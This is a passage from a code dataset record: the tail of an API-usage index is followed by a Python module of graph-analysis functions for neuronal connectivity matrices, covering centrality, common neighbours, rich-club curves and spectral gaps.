"call"}, {"api_name": "seaborn.despine", "line_number": 822, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 825, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 825, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 828, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 828, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 830, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 830, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 831, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 831, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 832, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 832, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 834, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 834, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 837, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 858, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 858, "usage_type": "name"}, {"api_name": "seaborn.barplot", "line_number": 862, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 864, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 866, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 874, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 879, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 879, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 880, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 880, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 886, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 886, "usage_type": "name"}, {"api_name": "seaborn.barplot", "line_number": 889, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 891, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 893, "usage_type": "call"}, {"api_name": "numpy.logical_and", "line_number": 901, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 905, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 905, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 906, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 906, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tick_params", "line_number": 912, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 912, "usage_type": "name"}, {"api_name": "seaborn.despine", "line_number": 916, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 919, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 919, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 922, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 922, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 924, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 924, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 926, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 926, "usage_type": "name"}, {"api_name": "openpyxl.load_workbook", "line_number": 937, "usage_type": "call"}, {"api_name": "openpyxl.utils.get_column_letter", "line_number": 953, "usage_type": "call"}, {"api_name": "openpyxl.utils.get_column_letter", "line_number": 955, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 964, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 965, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 969, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 970, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 973, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 978, "usage_type": "call"}, {"api_name": "openpyxl.styles.borders.Side", "line_number": 979, "usage_type": "call"}, {"api_name": "openpyxl.styles.borders", "line_number": 979, "usage_type": "attribute"}, {"api_name": "openpyxl.styles", "line_number": 979, "usage_type": "name"}, {"api_name": "openpyxl.styles.borders.Side", "line_number": 980, "usage_type": "call"}, {"api_name": "openpyxl.styles.borders", "line_number": 980, "usage_type": "attribute"}, {"api_name": "openpyxl.styles", "line_number": 980, "usage_type": "name"}, {"api_name": "openpyxl.styles.borders.Side", "line_number": 982, "usage_type": "call"}, {"api_name": "openpyxl.styles.borders", "line_number": 982, "usage_type": "attribute"}, {"api_name": "openpyxl.styles", "line_number": 982, "usage_type": "name"}, {"api_name": "openpyxl.styles.borders.Side", "line_number": 983, "usage_type": "call"}, {"api_name": "openpyxl.styles.borders", "line_number": 983, "usage_type": "attribute"}, {"api_name": "openpyxl.styles", "line_number": 983, "usage_type": "name"}, {"api_name": "openpyxl.load_workbook", "line_number": 997, "usage_type": "call"}, {"api_name": "openpyxl.utils.get_column_letter", "line_number": 1010, "usage_type": "call"}, {"api_name": "openpyxl.utils.get_column_letter", "line_number": 1013, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 1022, "usage_type": "call"}, {"api_name": "openpyxl.styles.Alignment", "line_number": 1023, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 1027, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 1030, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 1031, "usage_type": "call"}, {"api_name": "openpyxl.styles.Border", "line_number": 1036, "usage_type": "call"}, {"api_name": "openpyxl.styles.Side", "line_number": 1037, "usage_type": "call"}, {"api_name": "openpyxl.styles.Side", "line_number": 1038, "usage_type": "call"}, {"api_name": "openpyxl.styles.Side", "line_number": 1040, "usage_type": "call"}, {"api_name": "openpyxl.styles.Side", "line_number": 1041, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 1047, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 1047, "usage_type": "name"}, {"api_name": "os.chdir", "line_number": 1087, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 1089, "usage_type": "call"}]}
{"seq_id": "14366926429", "text": "import networkx as nx\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import hypergeom\nfrom scipy.stats import binom\nfrom scipy.linalg import eigvals\n#TODO: MODIFY THE IMPORTS TO EXTERNAL IMPORTS\n\nfrom .topology import node_degree\n\ndef closeness_connected_components(adj, neuron_properties=[], directed=False, return_sum=True):\n    \"\"\"Compute the closeness of each connected component of more than 1 vertex\n    \n    Parameters\n    ----------\n    adj : array_like\n        Adjacency matrix of the graph\n    directed : bool\n        If `True`, will be computed using strongly connected components and directed closeness.\n    return_sum : bool\n        If `True`, only one list will be returned, by summing over all the connected components.\n\n\n    Returns\n    -------\n    array_like\n        A single array( if `return_sum=True`) or a list of arrays of shape `n`, containting closeness of vertices in that component, or 0 if the vertex is not in the component. Closeness cannot be zero otherwise.\n\n    \"\"\"\n    from sknetwork.ranking import Closeness\n    from scipy.sparse.csgraph import connected_components\n\n    matrix=adj.toarray()\n    if directed:\n        n_comp, comp = connected_components(matrix, directed=True, connection=\"strong\")\n    else:\n        n_comp, comp = connected_components(matrix, directed=False)\n        matrix = matrix + matrix.T  # we need to make the matrix symmetric\n\n    closeness = Closeness()  # if matrix is not symmetric automatically use directed\n    n = matrix.shape[0]\n    all_c = []\n    for i in range(n_comp):\n        c = np.zeros(n)\n        idx = np.where(comp == i)[0]\n        sub_mat = matrix[np.ix_(idx, idx)].tocsr()\n        if sub_mat.getnnz() > 0:\n            c[idx] = closeness.fit_transform(sub_mat)\n            all_c.append(c)\n    if return_sum:\n        all_c = np.array(all_c)\n        return np.sum(all_c, axis=0)\n    else:\n        return all_c\n\ndef communicability(adj, neuron_properties):\n    pass\n\ndef closeness(adj, neuron_properties, directed=False):\n    \"\"\"Compute closeness centrality using sknetwork on all connected components or strongly connected\n    component (if directed==True)\"\"\"\n    return closeness_connected_components(adj, directed=directed)\n\ndef centrality(self, sub_gids, kind=\"closenesgit rebases\", directed=False):\n    \"\"\"Compute a centrality of the graph. `kind` can be 'betweeness' or 'closeness'\"\"\"\n    if kind == \"closeness\":\n        return self.closeness(sub_gids, directed)\n    else:\n        ValueError(\"Kind must be 'closeness'!\")\n        #TODO:  Implement betweeness\n\ndef connected_components(adj,neuron_properties=[]):\n    \"\"\"Returns a list of the size of the connected components of the underlying undirected graph on sub_gids,\n    if None, compute on the whole graph\"\"\"\n\n    matrix=adj.toarray()\n    matrix_und = np.where((matrix+matrix.T) >= 1, 1, 0)\n    # TODO: Change the code from below to scipy implementation that seems to be faster!\n    G = nx.from_numpy_matrix(matrix_und)\n    return [len(c) for c in sorted(nx.connected_components(G), key=len, reverse=True)]\n\ndef core_number(adj, neuron_properties=[]):\n    \"\"\"Returns k core of directed graph, where degree of a vertex is the sum of in degree and out degree\"\"\"\n    # TODO: Implement directed (k,l) core and k-core of underlying undirected graph (very similar to this)\n    G = nx.from_numpy_matrix(adj.toarray())\n    # Very inefficient (returns a dictionary!). TODO: Look for different implementation\n    return nx.algorithms.core.core_number(G)\n\n    # TODO: Filtered simplex counts with different weights on vertices (coreness, intersection)\n    #  or on edges (strength of connection).\n\ndef density(adj, neuron_properties=[]):\n    #Todo: Add #cells/volume as as possible spatial density\n    adj=adj.astype('bool').astype('int')\n    return adj.sum() / np.prod(adj.shape)\n\ndef __make_expected_distribution_model_first_order__(adj, direction=\"efferent\"):\n    #TODO: Document, utility function used in COMMON NEIGHBOURS ANALYSIS\n    if direction == \"efferent\":\n        N = adj.sum(axis=1).mean()\n        M = adj.shape[1]\n    elif direction == \"afferent\":\n        N = adj.sum(axis=0).mean()\n        M = adj.shape[0]\n    else:\n        raise ValueError(\"Unknown direction: {0}\".format(direction))\n    expected = hypergeom(M, N, N)\n    return expected\n\n\ndef distribution_number_of_common_neighbors(adj, neuron_properties=None, direction=\"efferent\"):\n    # TODO: Document, utility function used in COMMON NEIGHBOURS ANALYSIS\n    adj = adj.tocsc().astype(int)\n    if direction == \"efferent\":\n        cn = adj * adj.transpose()\n    elif direction == \"afferent\":\n        cn = adj.transpose() * adj\n    else:\n        raise ValueError(\"Unknown direction: {0}\".format(direction))\n    cn = np.array(cn.todense())\n    cn = cn[np.triu_indices_from(cn, 1)]\n    bins = np.arange(0, cn.max() + 2)\n    return pd.Series(np.histogram(cn, bins=bins)[0], index=bins[:-1])\n\n\ndef normalized_distribution_of_common_neighbors(adj, neuron_properties=None, direction=\"efferent\"):\n    # TODO: Document, utility function used in COMMON NEIGHBOURS ANALYSIS\n    data = distribution_number_of_common_neighbors(adj, neuron_properties, direction=direction)\n    expected = __make_expected_distribution_model_first_order__(adj, direction=direction)\n    expected = expected.pmf(data.index) * data.sum()\n    expected = pd.Series(expected, index=data.index)\n    return (data - expected) / (data + expected)\n\n\ndef overexpression_of_common_neighbors(adj, neuron_properties=None, direction=\"efferent\"):\n    # TODO: Document, utility function used in COMMON NEIGHBOURS ANALYSIS\n    data = distribution_number_of_common_neighbors(adj, neuron_properties, direction=direction)\n    data_mean = (data.index.values * data.values).sum() / data.values.sum()\n    ctrl = __make_expected_distribution_model_first_order__(adj, direction=direction)\n    ctrl_mean = ctrl.mean()\n    return (data_mean - ctrl_mean) / (data_mean + ctrl_mean)\n\n\ndef common_neighbor_weight_bias(adj, neuron_properties=None, direction=\"efferent\"):\n    # TODO: Document, utility function used in COMMON NEIGHBOURS ANALYSIS\n    adj_bin = (adj.tocsc() > 0).astype(int)\n    if direction == \"efferent\":\n        cn = adj_bin * adj_bin.transpose()\n    elif direction == \"afferent\":\n        cn = adj_bin.transpose() * adj_bin\n\n    return np.corrcoef(cn[adj > 0],\n                       adj[adj > 0])[0, 1]\n\n\ndef common_neighbor_connectivity_bias(adj, neuron_properties=None, direction=\"efferent\",\n                                      cols_location=None, fit_log=False):\n    # TODO: Document, utility function used in COMMON NEIGHBOURS ANALYSIS\n    import statsmodels.formula.api as smf\n    from patsy import ModelDesc\n    from scipy.spatial import distance\n\n    if adj.dtype == bool:\n        adj = adj.astype(int)\n\n    if direction == \"efferent\":\n        cn = adj * adj.transpose()\n    elif direction == \"afferent\":\n        cn = adj.transpose() * adj\n\n    input_dict = {\"CN\": cn.toarray().flatten(),\n                  \"Connected\": adj.astype(bool).toarray().flatten()}\n\n    if fit_log:\n        input_dict[\"CN\"] = np.log10(input_dict[\"CN\"] + fit_log)\n    formula_str = \"CN ~ Connected\"\n    if cols_location is not None:\n        formula_str = formula_str + \" + Distance\"\n        dmat = distance.squareform(distance.pdist(neuron_properties[cols_location].values))\n        input_dict[\"Distance\"] = dmat.flatten()\n    sm_model = ModelDesc.from_formula(formula_str)\n\n    sm_result = smf.ols(sm_model, input_dict).fit()\n\n    pval = sm_result.pvalues.get(\"Connected[T.True]\", 1.0)\n    mdl_intercept = sm_result.params[\"Intercept\"]\n    mdl_added = sm_result.params.get(\"Connected[T.True]\", 0.0)\n    mdl_distance = sm_result.params.get(\"Distance\", 0.0)\n    return pval, mdl_added / mdl_intercept, 100 * mdl_distance / mdl_intercept\n\n###Computing connection probabilities\n\ndef connection_probability_within(adj, neuron_properties, max_dist=200, min_dist=0,\n                                  columns=[\"ss_flat_x\", \"ss_flat_y\"]):\n    #TODO: Does neuron_properties here assumes the right data structure?\n    if isinstance(neuron_properties, tuple):\n        nrn_pre, nrn_post = neuron_properties\n    else:\n        nrn_pre = neuron_properties;\n        nrn_post = neuron_properties\n    D = distance.cdist(nrn_pre[columns], nrn_post[columns])\n    mask = (D > min_dist) & (D <= max_dist)  # This way with min_dist=0 a neuron with itself is excluded\n    return adj[mask].mean()\n\n\ndef connection_probability(adj, neuron_properties):\n    #TODO: Does neuron_properties here assumes the right data structure?\n    exclude_diagonal = False\n    if isinstance(neuron_properties, tuple):\n        nrn_pre, nrn_post = neuron_properties\n        if len(nrn_pre) == len(nrn_post):\n            if (nrn_pre[\"gid\"] == nrn_post[\"gid\"]).all():\n                exclude_diagonal = True\n    else:\n        exclude_diagonal = True\n\n    if not exclude_diagonal:\n        return adj.astype(bool).mean()\n    assert adj.shape[0] == adj.shape[1], \"Inconsistent shape!\"\n    n_pairs = adj.shape[0] * (adj.shape[1] - 1)\n    return adj.astype(bool).sum() / n_pairs\n\n#TODO ADD CODE FROM CLUSTER TO COMPUTE PROBABILITY OF CONNECTION PER PATHWAY OR ANY OTHER PROPERTIE ON THE NEURON_PROPERTY.\n\n\n#TODO: Checked up to here ... clean the code below\n# ##Degree based analyses\n#TODO UPDATE THE RICH CLUB IMPLEMENTATION\n\ndef gini_curve(m, nrn, direction='efferent'):\n    m = m.tocsc()\n    if direction == 'afferent':\n        degrees = np.array(m.sum(axis=0)).flatten()\n    elif direction == 'efferent':\n        degrees = np.array(m.sum(axis=1).flatten())\n    else:\n        raise Exception(\"Unknown value for argument direction: %s\" % direction)\n    cs = np.cumsum(np.flipud(sorted(degrees))).astype(float) / np.sum(degrees)\n    return pd.Series(cs, index=np.linspace(0, 1, len(cs)))\n\n\ndef gini_coefficient(m, nrn, direction='efferent'):\n    gc = gini_curve(m, nrn, direction=direction)\n    A = gc.index.values\n    B = gc.values\n    return np.sum(np.diff(A) * (B[:-1] + B[1:]) / 2.0)\n\n\ndef _analytical_expected_gini_curve(m, direction='efferent'):\n    if direction == 'afferent':\n        N = m.shape[0] - 1\n        C = m.shape[1] * N\n    elif direction == 'efferent':\n        N = m.shape[1] - 1\n        C = m.shape[0] * N\n    P = m.nnz / C\n    # Only using degrees, not distribution of weigthts. TODO: Fix that\n    x = np.arange(N, -1, -1)\n    p = binom.pmf(x, N, P)\n    A = np.cumsum(p) / p.sum()\n    B = np.cumsum(p * x) / np.sum(p * x)\n    return pd.Series(B, index=A)\n\n\ndef normalized_gini_coefficient(m, nrn, direction='efferent'):\n    gc = gini_coefficient(m, nrn, direction=direction)\n    ctrl = _analytical_expected_gini_curve(m, direction=direction)\n    A = ctrl.index.values\n    B = ctrl.values\n    return 2 * (gc - np.sum(np.diff(A) * (B[:-1] + B[1:]) / 2.0))\n\n\ndef _bin_degrees(degrees):\n    nbins = np.maximum(int(len(degrees) * 0.1), np.minimum(len(degrees), 30))\n    mx = np.nanmax(degrees);\n    mn = np.nanmin(degrees)\n    bins = np.linspace(mn, mx + 1E-6 * (mx - mn), nbins + 1)\n    degrees = np.digitize(degrees, bins=bins) - 1\n    udegrees = np.arange(nbins)\n    ret_x = 0.5 * (bins[:-1] + bins[1:])\n    return ret_x, udegrees, degrees\n\n\ndef rich_club_curve(m, direction='efferent'):\n    m = m.tocsc()\n    if direction == 'afferent':\n        degrees = np.array(m.sum(axis=0)).flatten()\n    elif direction == 'efferent':\n        degrees = np.array(m.sum(axis=1)).flatten()\n    else:\n        raise Exception(\"Unknown value for argument direction: %s\" % direction)\n\n    if m.dtype == bool:\n        udegrees = np.arange(1, degrees.max() + 1)\n        ret_x = udegrees\n    else:\n        ret_x, udegrees, degrees = _bin_degrees(degrees)\n\n    edge_counter = lambda i: (degrees >= i).sum() * ((degrees >= i).sum() - 1)  # number of pot. edges\n    mat_counter = lambda i: m[np.ix_(degrees >= i, degrees >= i)].sum()  # number of actual edges\n    ret = (np.array([mat_counter(i) for i in udegrees]).astype(float)\n           / np.array([edge_counter(i) for i in udegrees]))\n    return pd.Series(ret, index=ret_x)\n\n\ndef efficient_rich_club_curve(M, direction=\"efferent\", pre_calculated_richness=None, sparse_bin_set=False):\n    M = M.tocoo()\n    shape = M.shape\n    M = pd.DataFrame.from_dict({\"row\": M.row, \"col\": M.col})\n    if pre_calculated_richness is not None:\n        deg = pre_calculated_richness\n    elif direction == \"efferent\":\n        deg = M[\"row\"].value_counts()\n    elif direction == \"afferent\":\n        deg = M[\"col\"].value_counts()\n    elif direction == \"both\":\n        D = pd.DataFrame({'row': np.zeros(shape[0]), 'col': np.zeros(shape[0])}, np.arange(shape[0])[-1::-1])\n        D['row'] = D['row'] + M[\"row\"].value_counts()\n        D['col'] = D['col'] + M[\"col\"].value_counts()\n        D = D.fillna(0)\n        D = D.astype(int)\n        deg = D['row'] + D['col']\n    else:\n        raise ValueError()\n\n    if sparse_bin_set == False:\n        degree_bins = np.arange(deg.max() + 2)\n    elif sparse_bin_set == True:\n        degree_bins = np.unique(np.append(deg, [0, deg.max() + 1]))\n    degree_bins_rv = degree_bins[-2::-1]\n    nrn_degree_distribution = np.histogram(deg.values, bins=degree_bins)[0]\n    nrn_cum_degrees = np.cumsum(nrn_degree_distribution[-1::-1])\n    nrn_cum_pairs = nrn_cum_degrees * (nrn_cum_degrees - 1)\n\n    deg_arr = np.zeros(shape[0], dtype=int)\n    deg_arr[deg.index.values] = deg.values\n\n    deg = None\n\n    con_degree = np.minimum(deg_arr[M[\"row\"].values], deg_arr[M[\"col\"].values])\n    M = None\n    con_degree = np.histogram(con_degree, bins=degree_bins)[0]\n\n    cum_degrees = np.cumsum(con_degree[-1::-1])\n\n    return pd.Series(cum_degrees / nrn_cum_pairs, degree_bins_rv)[::-1]\n\n\ndef _analytical_expected_rich_club_curve(m, direction='efferent'):\n    assert m.dtype == bool, \"This function only works for binary matrices at the moment\"\n    indegree = np.array(m.sum(axis=0))[0]\n    outdegree = np.array(m.sum(axis=1))[:, 0]\n\n    if direction == 'afferent':\n        degrees = indegree\n    elif direction == 'efferent':\n        degrees = outdegree\n    else:\n        raise Exception(\"Unknown value for argument direction: %s\" % direction)\n\n    udegrees = np.arange(1, degrees.max() + 1)\n    edge_counter = lambda i: (degrees >= i).sum() * ((degrees >= i).sum() - 1)\n    res_mn = []\n    res_sd = []\n    for deg in udegrees:\n        valid = np.nonzero(degrees >= deg)[0]\n        i_v = indegree[valid]\n        i_sum_all = indegree.sum() - i_v\n        i_sum_s = i_v.sum() - i_v\n        o_v = outdegree[valid]\n        S = np.array([hypergeom.stats(_ia, _is, o)\n                      for _ia, _is, o in zip(i_sum_all, i_sum_s, o_v)])\n        res_mn.append(np.sum(S[:, 0]) / edge_counter(deg))\n        res_sd.append(np.sqrt(S[:, 1].sum()) / edge_counter(deg))  # Sum the variances, but divide the std\n    df = pd.DataFrame.from_dict({\"mean\": np.array(res_mn),\n                                 \"std\": np.array(res_sd)})\n    df.index = udegrees\n    return df\n\n\ndef generate_degree_based_control(M, direction=\"efferent\"):\n    \"\"\"\n    A shuffled version of a connectivity matrix that aims to preserve degree distributions.\n    If direction = \"efferent\", then the out-degree is exactly preserved, while the in-degree is\n    approximately preseved. Otherwise it's the other way around.\n    \"\"\"\n    if direction == \"efferent\":\n        M = M.tocsr()\n        idxx = np.arange(M.shape[1])\n        p_out = np.array(M.mean(axis=0))[0]\n    elif direction == \"afferent\":\n        M = M.tocsc()\n        idxx = np.arange(M.shape[0])\n        p_out = np.array(M.mean(axis=1))[:, 0]\n    else:\n        raise ValueError()\n\n    for col in range(M.shape[1]):\n        p = p_out.copy()\n        p[col] = 0.0\n        p = p / p.sum()\n        a = M.indptr[col]\n        b = M.indptr[col + 1]\n        M.indices[a:b] = np.random.choice(idxx, b - a, p=p, replace=False)\n    return M\n\n\ndef _randomized_control_rich_club_curve(m, direction='efferent', n=10):\n    res = []\n    for _ in range(n):\n        m_shuf = generate_degree_based_control(m, direction=direction)\n        res.append(efficient_rich_club_curve(m_shuf))\n    res = pd.concat(res, axis=1)\n    #TODO: Something is wrong here. rr is not defined. Should it be res?\n    #      But changing rr to res causing \n    df = pd.DataFrame.from_dict(\n        {\n            \"mean\": np.nanmean(res, axis=1),\n            \"std\": np.nanstd(res, axis=1)\n        }\n    )\n    df.index = res.index\n    return df\n\n\ndef normalized_rich_club_curve(m, direction='efferent', normalize='std',\n                               normalize_with=\"shuffled\", **kwargs):\n    assert m.dtype == bool, \"This function only works for binary matrices at the moment\"\n    data = efficient_rich_club_curve(m, direction=direction)\n    A = data.index.values\n    B = data.values\n    if normalize_with == \"analytical\":\n        ctrl = _analytical_expected_rich_club_curve(m, direction=direction)\n    elif normalize_with == \"shuffled\":\n        ctrl = _randomized_control_rich_club_curve(m, direction=direction)\n    Ar = ctrl.index.values\n    mn_r = ctrl[\"mean\"].values\n    sd_r = ctrl[\"std\"].values\n\n    if normalize == 'mean':\n        return pd.Series(B[:len(mn_r)] / mn_r, index=A[:len(mn_r)])\n    elif normalize == 'std':\n        return pd.Series((B[:len(mn_r)] - mn_r) / sd_r, index=A[:len(mn_r)])\n    else:\n        raise Exception(\"Unknown normalization: %s\" % normalize)\n\n\ndef rich_club_coefficient(m, **kwargs):\n    Bn = normalized_rich_club_curve(m, normalize='std', **kwargs).values\n    return np.nanmean(Bn)\n\n\n#*************************************************************************#\n#Code taken from TriDy\n\n##\n## HELPER FUNCTIONS (STRUCTURAL)\n##\n\n\n\ndef nx_to_np(directed_graph):\n    \"\"\"Converts networkx digraph to numpy array of the adjacency matrix \n\n    Parameters\n    ----------\n    directed_graph : networkx DiGraph\n        a directed graph\n\n    Returns\n    -------\n    numpy array\n        the adjaceny matrix of the DiGraph as a numpy array\n    \"\"\"\n    return nx.to_numpy_array(directed_graph,dtype=int)\n\n\n\ndef np_to_nx(adjacency_matrix):\n    \"\"\"Converts numpy array of an adjacency matrix to a networkx digraph\n\n    Parameters\n    ----------\n    adjacency_matrix : numpy array\n        the adjaceny matrix of the DiGraph as a numpy array\n\n\n    Returns\n    -------\n    networkx DiGraph\n            a directed graph\n\n    \"\"\"\n    return nx.from_numpy_array(adjacency_matrix,create_using=nx.DiGraph)\n\n\n\ndef largest_strongly_connected_component(adjacency_matrix):\n    \"\"\"Computes the largest strongly connected component of the graph with adjacency matrix adjacency_matrix,\n        and returns the adjacency matrix of said component\n\n    Parameters\n    ----------\n    adjacency_matrix : numpy array\n        the adjaceny matrix of the DiGraph as a numpy array\n\n\n    Returns\n    -------\n    numpy array\n        The adjacency matrix of the largest strongly connected component\n\n    \"\"\"\n    current_tribe_nx = np_to_nx(adjacency_matrix)\n    largest_comp = max(nx.strongly_connected_components(current_tribe_nx), key=len)\n    current_tribe_strong_nx = current_tribe_nx.subgraph(largest_comp)\n    current_tribe_strong = nx_to_np(current_tribe_strong_nx)\n    return current_tribe_strong\n\n\n\n\n##\n## HELPER FUNCTIONS (SPECTRAL)\n##\n\ndef spectral_gap(matrix, thresh=10, param='low'):\n#  In: matrix\n# Out: float\n    current_spectrum = spectrum_make(matrix)\n    current_spectrum = spectrum_trim_and_sort(current_spectrum, threshold_decimal=thresh)\n    return spectrum_param(current_spectrum, parameter=param)\n\n\n\ndef spectrum_make(matrix):\n#  In: matrix\n# Out: list of complex floats\n    assert np.any(matrix) , 'Error (eigenvalues): matrix is empty'\n    eigenvalues = eigvals(matrix)\n    return eigenvalues\n\n\n\ndef spectrum_trim_and_sort(spectrum, modulus=True, threshold_decimal=10):\n#  In: list of complex floats\n# Out: list of unique (real or complex) floats, sorted by modulus\n    if modulus:\n        return np.sort(np.unique(abs(spectrum).round(decimals=threshold_decimal)))\n    else:\n        return np.sort(np.unique(spectrum.round(decimals=threshold_decimal)))\n\n\n\ndef spectrum_param(spectrum, parameter):\n#  In: list of complex floats\n# Out: float\n    assert len(spectrum) != 0 , 'Error (eigenvalues): no eigenvalues (spectrum is empty)'\n    if parameter == 'low':\n        if spectrum[0]:\n            return spectrum[0]\n        else:\n            assert len(spectrum) > 1 , 'Error (low spectral gap): spectrum has only zeros, cannot return nonzero eigval'\n            return spectrum[1]\n    elif parameter == 'high':\n        assert len(spectrum) > 1 , 'Error (high spectral gap): spectrum has one eigval, cannot return difference of top two'\n        return spectrum[-1]-spectrum[-2]\n    elif parameter == 'radius':\n        return spectrum[-1]\n\n\n##\n## NONSPECTRAL PARAMETER FUNCTIONS\n##\n\ndef ccc(matrix):\n    \"\"\"Computes the classical clustering coefficient of a directed graph\n\n    Parameters\n    ----------\n    matrix : numpy array\n        the adjaceny matrix of a directed graph\n\n    Returns\n    -------\n    float\n        the clustering coefficient\n\n    References\n    ----------\n    The formula is taken from the following paper.\n\n    ..[1] G. Fagiolo, \"Clustering in complex directed networks\", 2006;\n           [DOI: 10.1103/PhysRevE.76.026107](https://doi.org/10.1103/PhysRevE.76.026107).\n\n    \"\"\"\n    deg = node_degree(matrix)[0]\n    numerator = np.linalg.matrix_power(matrix+np.transpose(matrix),3)[0][0]\n    denominator = 2*(deg*(deg-1)-2*reciprocal_connections_adjacency(matrix, chief_only=True))\n    if denominator == 0:\n        return 0\n    return numerator/denominator\n\n\n\n\n\n\n# degree type parameters\n\n# tribe size\n\ndef tribe_size(matrix):\n    return len(matrix)\n\n# reciprocal connections\n\ndef reciprocal_connections(matrix, chief_only=False):\n    #TODO: MERGE THIS WITH RC FUNCTION\n    if chief_only:\n        rc_count = np.count_nonzero(np.multiply(matrix[0],np.transpose(matrix)[0]))\n    else:\n        rc_count = np.count_nonzero(np.multiply(matrix,np.transpose(matrix)))//2\n    return rc_count\n\n\n##\n## SPECTRAL PARAMETER FUNCTIONS\n##\n\n\n# adjacency spectrum\n\ndef asg(matrix, gap='high'):\n    return spectral_gap(matrix, param=gap)\n\n\n# transition probability spectrum\n\ndef tpsg(matrix, in_deg=False, gap='high'):\n#  in: tribe matrix\n# out: float\n    current_matrix = tps_matrix(matrix, in_deg=in_deg)\n    return spectral_gap(current_matrix, param=gap)\n\ndef tps_matrix(matrix, in_deg=False):\n#  in: tribe matrix\n# out: transition probability matrix\n    current_size = len(matrix)\n    if in_deg:\n        degree_vector = node_degree(matrix, direction='IN').values\n    else:\n        degree_vector = node_degree(matrix, direction='OUT').values\n    inverted_degree_vector = [0 if not d else 1/d for d in degree_vector]\n    return np.matmul(np.diagflat(inverted_degree_vector),matrix)\n\n\n# chung laplacian spectrum\n# source 1: Laplacians and the Cheeger inequality for directed graph (Fan Chung, 2005)\n# source 2: https://networkx.org/documentation/stable/reference/generated/networkx.linalg.laplacianmatrix.directed_laplacian_matrix.html\n\ndef clsg(matrix, is_strongly_conn=False, gap='low'):\n#  in: tribe matrix\n# out: float\n    chung_laplacian_matrix = cls_matrix_fromadjacency(matrix, is_strongly_conn=is_strongly_conn)\n    return spectral_gap(chung_laplacian_matrix, param=gap)\n\ndef cls_matrix_fromadjacency(matrix, is_strongly_conn=False):\n#  in: numpy array\n# out: numpy array\n    matrix_nx = np_to_nx(matrix)\n    return cls_matrix_fromdigraph(matrix_nx, matrix=matrix, matrix_given=True, is_strongly_conn=is_strongly_conn)\n\ndef cls_matrix_fromdigraph(digraph, matrix=np.array([]), matrix_given=False, is_strongly_conn=False):\n#  in: networkx digraph\n# out: numpy array\n    digraph_sc = digraph\n    matrix_sc = matrix\n    # Make sure is strongly connected\n    if not is_strongly_conn:\n        largest_comp = max(nx.strongly_connected_components(digraph), key=len)\n        digraph_sc = digraph.subgraph(largest_comp)\n        matrix_sc = nx_to_np(digraph_sc)\n    elif not matrix_given:\n        matrix_sc = nx_to_np(digraph_sc)\n    # Degeneracy: scc has size 1\n    if not np.any(matrix_sc):\n        return np.array([[0]])\n    # Degeneracy: scc has size 2\n    elif np.array_equal(matrix_sc,np.array([[0,1],[1,0]],dtype=int)):\n        return np.array([[1,-0.5],[-0.5,1]])\n    # No degeneracy\n    else:\n        return nx.directed_laplacian_matrix(digraph_sc)\n\n\n# bauer laplacian spectrum\n# source: Normalized graph Laplacians for directed graphs (Frank Bauer, 2012)\n\ndef blsg(matrix, reverse_flow=False, gap='high'):\n#  in: tribe matrix\n# out: float\n    bauer_laplacian_matrix = bls_matrix(matrix, reverse_flow=reverse_flow)\n    return 